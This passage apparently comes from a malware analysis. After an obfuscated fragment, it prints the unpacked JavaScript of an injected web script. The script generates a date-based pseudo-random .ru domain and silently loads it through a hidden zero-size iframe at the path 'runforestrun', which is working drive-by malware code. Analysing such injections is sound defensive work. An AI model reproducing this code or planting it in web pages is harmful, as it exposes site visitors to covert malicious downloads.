);}}/*qhk6sa6g1c*/ Once unpacked it looks like this: function nextRandomNumber(){ var hi = this.seed / this.Q; var lo = this.seed % this.Q; var test = this.A * lo - this.R * hi; if(test > 0){ this.seed = test; } else { this.seed = test + this.M; } return (this.seed * this.oneOverM); } function RandomNumberGenerator(unix){ var d = new Date(unix*1000); var s = d.getHours() > 12 ? 1 : 0; this.seed = 2345678901 + (d.getMonth() * 0xFFFFFF) + (d.getDate() * 0xFFFF)+ (Math.round(s * 0xFFF)); this.A = 48271; this.M = 2147483647; this.Q = this.M / this.A; this.R = this.M % this.A; this.oneOverM = 1.0 / this.M; this.next = nextRandomNumber; return this; } function createRandomNumber(r, Min, Max){ return Math.round((Max-Min) * r.next() + Min); } function generatePseudoRandomString(unix, length, zone){ var rand = new RandomNumberGenerator(unix); var letters = ['a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z']; var str = ''; for(var i = 0; i < length; i ++ ){ str += letters[createRandomNumber(rand, 0, letters.length - 1)]; } return str + '.' + zone; } setTimeout(function(){ try{ if(typeof iframeWasCreated == "undefined"){ iframeWasCreated = true; var unix = Math.round(+new Date()/1000); var domainName = generatePseudoRandomString(unix, 16, 'ru'); ifrm = document.createElement("IFRAME"); ifrm.setAttribute("src", "http://"+domainName+"/runforestrun?sid=cx"); ifrm.style.width = "0px"; ifrm.style.height = "0px"; ifrm.style.visibility = "hidden"; document.body.appendChild(ifrm); } }catch(e){} }, 500);

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